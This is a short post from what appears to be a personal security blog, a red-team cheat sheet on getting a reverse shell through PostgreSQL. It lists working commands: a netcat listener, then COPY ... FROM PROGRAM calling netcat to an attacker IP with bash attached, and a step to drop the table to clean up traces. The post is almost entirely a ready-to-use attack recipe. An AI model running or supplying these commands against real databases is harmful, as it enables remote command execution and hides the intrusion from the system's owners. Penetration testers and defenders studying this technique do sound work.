Skip to content

counter-yandex

counter-google

Ivan Glinkin

Information Security Manager
  • Main
  • Resume/CV
  • For hackers
    • Walkthrough
    • CheatLists
  • Social
    • LinkedIn
    • Twitter
    • Telegram
    • PayPal
  • Mail me
Red Teaming - Through PostgreSQL to shell
  • CheatLists
ncnetcatpostgreSQLreverseshellsql

Red Teaming – Through PostgreSQL to shell

Ivan Glinkin 08.04.2021

The easiest way to get reverse shell through the PostgreSQL database.

1. Connect to the DB
2. Create a new table
     CREATE TABLE demo(t text);
3. Run the listener
     nc -nlvp 2020
4. Exploit
     COPY demo FROM PROGRAM ‘nc 10.10.10.10. 2020 -c bash’;

5. Do not forget to clean after yourself
     DROP TABLE demo;

Through PostgreSQL to shell

Post navigation

Previous Previous post: How to cheat on a Cyber Security exam
Next Next post: If you play with hackers, don’t be surprised when you get hacked or TryHackMe 0-day exploit